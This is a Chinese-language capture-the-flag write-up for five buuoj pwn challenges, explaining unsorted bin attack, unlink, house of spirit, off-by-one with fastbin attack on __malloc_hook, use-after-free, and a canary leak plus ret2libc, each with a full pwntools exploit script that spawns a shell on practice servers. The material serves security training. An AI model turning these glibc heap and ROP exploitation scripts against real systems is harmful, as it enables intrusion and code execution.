buuoj Pwn writeup 41-45

41 [ZJCTF 2019]EasyHeap

保护
buuoj Pwn writeup 41-45菜单堆题。

create
buuoj Pwn writeup 41-45就是平平无奇的申请然后写入东西,地址在bss上面。
没有溢出。

editbuuoj Pwn writeup 41-45这输入要写多少写就行,这就有了堆溢出了。

del
buuoj Pwn writeup 41-45这个函数没啥问题,释放空间后野指针也清掉了。

但是吧,又发现了个这玩意。
buuoj Pwn writeup 41-45那个133t是个后门函数。

所以问题就是怎么就能通过那个堆溢出把magic修改掉。

buuoj Pwn writeup 41-45
因为它只要大于那个数字就行,所以我们会想到用unsorted bin attack,因为这个攻击就是能往任意地址写一个很大的数字,刚好满足这个条件。

unsorted bin attack 就是当unsorted 的chunk再次被申请利用时,会从bins中脱离出来,需要重新构建bins链表,在构建过程中有两句核心代码。

bck = victim -> bk
unsorted_chunk(av) -> bk = bck
bck -> fd = unsorted_chunk(av)
//victim是那个要脱链的 

如果我们通过堆溢出,将victim->bk这个地方的地址写成我们的目标地址target的地方,那么它就会往target的地址处写入
unsorted_chunk(av)的地址,这是一个很大的数字。
目标就达到了。

但是要注意,改的时候只能改bk,不能改fd,不然就攻击失败了。

可以试着改一改瞧一瞧。

exp

# -*- coding: utf-8 -*-
from pwn import *

#r = remote('node3.buuoj.cn',28002)
r = process('./41')
context.log_level = "debug"

def create(size,content):
    r.recvuntil('Your choice :')
    r.sendline("1")
    r.recvuntil('Size of Heap : ')
    r.sendline(str(size))
    r.recvuntil('Content of heap:')
    r.sendline(content)

def edit(index, size, content):
    r.recvuntil('Your choice :')
    r.sendline('2')
    r.recvuntil('Index :')
    r.sendline(str(index))
    r.recvuntil('Size of Heap : ')
    r.sendline(str(size))
    r.recvuntil('Content of heap : ')
    r.send(content) #

def delete(index):
    r.recvuntil('Your choice :')
    r.sendline('3')
    r.recvuntil('Index :')
    r.sendline(str(index))

magic=0x0006020C0-0x10

create(0x80,'a'*0x10)
create(0x80,'b'*0x10)
create(0x80,'c'*0x10)
delete(1)
edit(0,0x30,'d'*0x18+p64(0x91)+p64(0)+p64(magic))
create(0x80,'b'*0x10)

r.recvuntil("Your choice :")
r.sendline(str(4869))

r.interactive()

但是远程服务器没有那个文件,所以找不到flag。

所以本题有两种解法
第一种用的是unlink

首先了解一下什么是个unlink
unlink

unlink代码

#define unlink(P, BK, FD)
{
    FD = P->fd;
    BK = P->bk;
    if(FD->bk != P || BK->fd !=p)
    {
        malloc_printerr (check_action, "corrupted d...", P);
    }
    else
    {
        FD->bk = BK;
        BK->fd = FD;
    }
}

一句话总结
当要free一个chunk的时候如果发现它的前后有free的chunk,就会合并,就会先把已经free的chunk先从双向链表中解出来,将合并后的chunk放到unsorted_bin,攻击就是发生在解链的过程中。

核心代码

FD=P->fd;
BK=P->bk;
FD->bk=BK;
BK->fd=FD;

p是要脱链的chunk

假如ptr是要攻击的地址。
buuoj Pwn writeup 41-45如果你构造你要unlink的堆块p的fd为ptr - 0x18,bk为ptr为0x10(64位)
然后会发现检查会直接绕过。
PD->bk 与 BK->fd 都是Ptr,然后执行unlink代码,最后的结果是会在ptr的地方写入BK。

ptr一般是我们可以控制写入的一个地方,那我们就可以通过unlink覆写ptr,造成一系列利用。

# -*- coding: utf-8 -*-
from pwn import *

r = remote('node3.buuoj.cn',29387)
#r = process('./41')
context.log_level = "debug"
elf=ELF("./41")
free_got=elf.got['free']
system_plt=elf.plt['system']
context.log_level='debug'
ptr=0x6020e8

def create(size,content):
    r.recvuntil('Your choice :')
    r.sendline("1")
    r.recvuntil('Size of Heap : ')
    r.sendline(str(size))
    r.recvuntil('Content of heap:')
    r.sendline(content)

def edit(index, size, content):
    r.recvuntil('Your choice :')
    r.sendline('2')
    r.recvuntil('Index :')
    r.sendline(str(index))
    r.recvuntil('Size of Heap : ')
    r.sendline(str(size))
    r.recvuntil('Content of heap : ')
    r.send(content) #

def delete(index):
    r.recvuntil('Your choice :')
    r.sendline('3')
    r.recvuntil('Index :')
    r.sendline(str(index))
    
create(0x100,'aaaa')
create(0x20,'bbbb')
create(0x80,'cccc')

payload = p64(0) + p64(0x21) + p64(ptr-0x18) + p64(ptr-0x10)
payload += p64(0x20) + p64(0x90)

edit(1,len(payload),payload)

delete(2)

payload = p64(0) + p64(0) + p64(free_got)
payload += p64(ptr-0x18) + p64(ptr+0x10) + "/bin/sh"

edit(1,len(payload),payload)
edit(0,8,p64(system_plt))

delete(2)

r.interactive()

通过unlink_attack,我们最后所获得的一个效果就是我们可以控制从PD往下的内容。

我们可以有多种利用方式,我用的利用方式如下图。
buuoj Pwn writeup 41-45堆块1的地方是我们最后所控制的ptr,它的值最后成了PD,然后我们将这一块重新写一下,写成上面那样子,堆块1先写成free_got,我们将free的got劫持成了system,将堆块2写成堆块3的地址,堆块3放着binsh,然后最后释放堆块2,就等于调用system("/bin/sh")。

第二种用的是house of sprite

良心文章

说白了就是通过堆溢出控制f已经释放的fastbin chunk 的fd指针,然后申请到bss段的内存,从而控制。

exp

from pwn import *
 
p = process('./41')
#p = remote('node3.buuoj.cn',26672)
elf =ELF('./41')
 
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h' ]

def create(size,content):
	p.recvuntil('Your choice :')
	p.sendline('1')
	p.recvuntil('Size of Heap : ')
	p.send(str(size))
	p.recvuntil('Content of heap:')
	p.send(str(content))	
 
def edit(index,size,content):
	p.recvuntil('Your choice :')
	p.sendline('2')
	p.recvuntil('Index :')
	p.sendline(str(index))
	p.recvuntil('Size of Heap : ')
	p.send(str(size))
	p.recvuntil('Content of heap : ')
	p.send(str(content))
 
def free(index):
	p.recvuntil('Your choice :')
	p.sendline('3')
	p.recvuntil('Index :')
	p.sendline(str(index))
 
free_got = elf.got['free']
 
create(0x68,'aaaa')
create(0x68,'bbbb')
create(0x68,'cccc')
free(2)

payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)
 
create(0x68,'aaaa')
create(0x68,'c')
 
payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)
payload = p64(elf.plt['system'])

edit(0,len(payload),payload)
free(1)
 
p.interactive()

但是在调试的时候我出过问题,见下方链接。
linux 高版本libc虚拟机调试libc-2.23 gdb heap指令报错解决方案

42 picoctf_2018_rop chain

保护
buuoj Pwn writeup 41-45
平平无奇栈溢出。
buuoj Pwn writeup 41-45
条件很清晰,满足win1 = 1, win2 = 2, a= 那一串就行。
buuoj Pwn writeup 41-45

两个函数。
buuoj Pwn writeup 41-45

满足a等于那一串。
buuoj Pwn writeup 41-45exp

from pwn import*

r = remote("node3.buuoj.cn", 27728)
context.log_level = "debug"

elf = ELF('./42')

flag_addr = elf.sym['flag']
win1_addr = elf.sym['win_function1']
win2_addr = elf.sym['win_function2']

#这个地方用的好,比较省事,值得推荐

payload = "a" * 0x1c
payload += p32(win1_addr)
payload += p32(win2_addr) + p32(flag_addr) + p32(0xBAAAAAAD) + p32(0xDEADBAAD)
r.sendlineafter("input> ", payload)

r.interactive()

这个地方没有使用pop_3那种gadget,因为你会发现这样也可以走。

43 [V&N2020 公开赛]simpleHeap

保护
buuoj Pwn writeup 41-45
add
buuoj Pwn writeup 41-45八个字节写地址,四个地址写长度。长度最大不能超过111。

edit

buuoj Pwn writeup 41-45buuoj Pwn writeup 41-45在输入的时候对size判断有问题,漏洞就在这里,off by one。

要注意的是off by one跟off by null还是有很大区别的,off by one总体上要简单很多,因为可以直接溢出任意一个字节,而off by null 只能溢出\x00。

show
buuoj Pwn writeup 41-45
delete
buuoj Pwn writeup 41-45show函数跟delete函数都平平无奇。

具体利用思路。
申请四个chunk,0、1、2、3
利用off by one将1的size地方写成\xe1,\xe1是因为两个\x71。为啥是0x71,因为后面我们对malloc_hook攻击的时候伪造的chunk的size位是0x7f。
将1free掉进入unsorted中,这个时候他会认为chunk2的地方也是free的,但是我们其实是可以控制的,这叫overlapping,这也就是漏洞的关键地方。
然后我们申请0x60的chunk一个,就会从刚刚free的0xe0那个堆块分割一个0x70的chunk出来,还是放在1的地方,然后剩下的0x70还在unsorted中,但是我们可以控制这个chunk,那么就通过这个来泄露地址。
接下来我们用fastbin_attack的攻击方式,来对malloc_hook进行攻击,方法是先申请一个0x70的chunk,就是chunk2控制的chunk,申请到以后是chunk4.然后释放掉,让它进入fastbin_bins。
通过chunk2将里面的fd做修改,然后两次malloc就获得了malloc的地方,然后将malloc_hook地方写成one_gadget,然后再malloc一次,就好了。

from pwn import *

context.log_level='debug'
p=process('./43')
#p=remote('node3.buuoj.cn',29736)
elf=ELF('./43')
libc=ELF('./libc-2.23.so')

def add(size,content):
    p.recvuntil('choice: ')
    p.sendline('1')
    p.recvuntil('size?')
    p.sendline(str(size))
    p.recvuntil('content:')
    p.sendline(content)

def edit(idx,content):

    p.sendline('2')
    p.recvuntil('idx?')
    p.sendline(str(idx))
    p.recvuntil('content:')
    p.sendline(content)

def show(idx):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('idx?')
    p.sendline(str(idx))

def delete(idx):
    p.recvuntil('choice: ')
    p.sendline('4')
    p.recvuntil('idx?')
    p.sendline(str(idx))

add(0x18,'pppp')
add(0x60,'pppp')
add(0x60,'pppp')
add(0x10,'pppp')

payload='p'*0x18+'\xe1'
edit(0,payload)

delete(1)

add(0x60,'pppp')

show(2)

main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88
libc_base=main_arena-0x3c4b20


libc_one_gadget=0x4526a

one_gadget=libc_base+libc_one_gadget
malloc_hook=libc_base+libc.symbols['__malloc_hook']
realloc=libc_base+libc.symbols['__libc_realloc']
fake_chunk=malloc_hook-0x23

add(0x60,'pppp')
delete(4)

payload=p64(fake_chunk)
edit(2,payload)

add(0x60,'pppp')

gdb.attach(p)

payload='p'*0xb+p64(one_gadget)+p64(realloc+13)
add(0x60,payload)


p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size?')
p.sendline(str(0x20))

p.interactive()

按照正常思路直接把malloc_hook写成one_gadget就行,但是我们为什么还要用了一个realloc_hook,因为one_gadget不满足条件。

我们最后利用的是条件为[rsp + 0x30] = NULL条件的one_gadget。

buuoj Pwn writeup 41-45
我们可以看到这是刚刚结束malloc的时候,按我们想的,应该one_gadget,但是条件不满足。

下面是realloc的汇编代码。
buuoj Pwn writeup 41-45我们可以直接用realloc+0x10那个地方的sub esp 38h,来把栈压低,然后满足条件。

buuoj Pwn writeup 41-45
然后就成了。

也可以参考这个wp

44 hitcontraining_uaf

保护
buuoj Pwn writeup 41-45
add
buuoj Pwn writeup 41-45最后的结构跟前面那个题挺像的。
buuoj Pwn writeup 41-45

delete
buuoj Pwn writeup 41-45free了之后没有清理野指针,uaf。

print
buuoj Pwn writeup 41-45这个地方会调用那个print_node_content函数。

后门

buuoj Pwn writeup 41-45利用还是uaf的利用,我们需要想办法让我们的content申请到一个list的chunk,就是大小位8的堆块,申请到时候就可以对里面进行读写,因为uaf,所以这个8的chunk肯定会收到控制,直接print函数就可拿到shell。
buuoj Pwn writeup 41-45exp

from pwn import *

context.log_level='debug'
#r = process('./44')
r = remote('node3.buuoj.cn',28932)
elf = ELF('./44')
libc = ELF('./64/libc-2.23.so')

def add(size, content):
    r.recvuntil("Your choice :")
    r.sendline("1")
    r.recvuntil("Note size :")
    r.sendline(str(size))
    r.recvuntil("Content :")
    r.sendline(content)
    r.recvuntil("Success !")

def delete(idx):
    r.sendlineafter('choice :','2')
    r.sendlineafter('Index :',str(idx))

def printf(idx):
    r.sendlineafter('choice :','3')
    r.sendlineafter('Index :',str(idx))

system_addr=0x8048945

add(48,'aaaa')
add(48,'bbbb')
#gdb.attach(r)
delete(0)
delete(1)
add(8,p32(system_addr))
printf(0)

r.interactive()

45 bjdctf_2020_babyrop2

保护
buuoj Pwn writeup 41-45
buuoj Pwn writeup 41-45

buuoj Pwn writeup 41-45
buuoj Pwn writeup 41-45
先通过gift里面的格式化字符串漏洞泄露libc的地址,然后一把梭就好了。

buuoj Pwn writeup 41-45要注意开了canary,所以要先%7$p泄露canary,程序每个地方canary都是一样的,然后就可以一把梭了。

from pwn import *

context.log_level='debug'
#r = process('./45')
r = remote('node3.buuoj.cn',27620)
elf = ELF('./45')
libc = ELF('./libc-2.23.so')

pop_rdi = 0x400993
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
vuln_addr = elf.symbols["vuln"]

r.sendlineafter("I'll give u some gift to help u!", "%7$p")

#因为是scanf,依靠空格或者回车截断,所以这里要用sendline。

r.recvuntil("0x")
canary = int(r.recv(16), 16)
payload = "a" * 0x18 + p64(canary) + "a" * 8
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
r.sendlineafter("story!", payload)

puts_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
libc_base = puts_addr - libc.sym['puts']

system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + libc.search("/bin/sh").next()

payload = 'a' * 0x18 + p64(canary) + 'a' * 0x8 + p64(pop_rdi) + p64(bin_sh) + p64(system_addr)
r.sendlineafter("Pull up your sword and tell me u story!", payload)

r.interactive()
上一篇:SQL Server 2000向SQL Server 2008 R2推送数据


下一篇:XCTF高手进阶区 web5_supersqli writeup(新)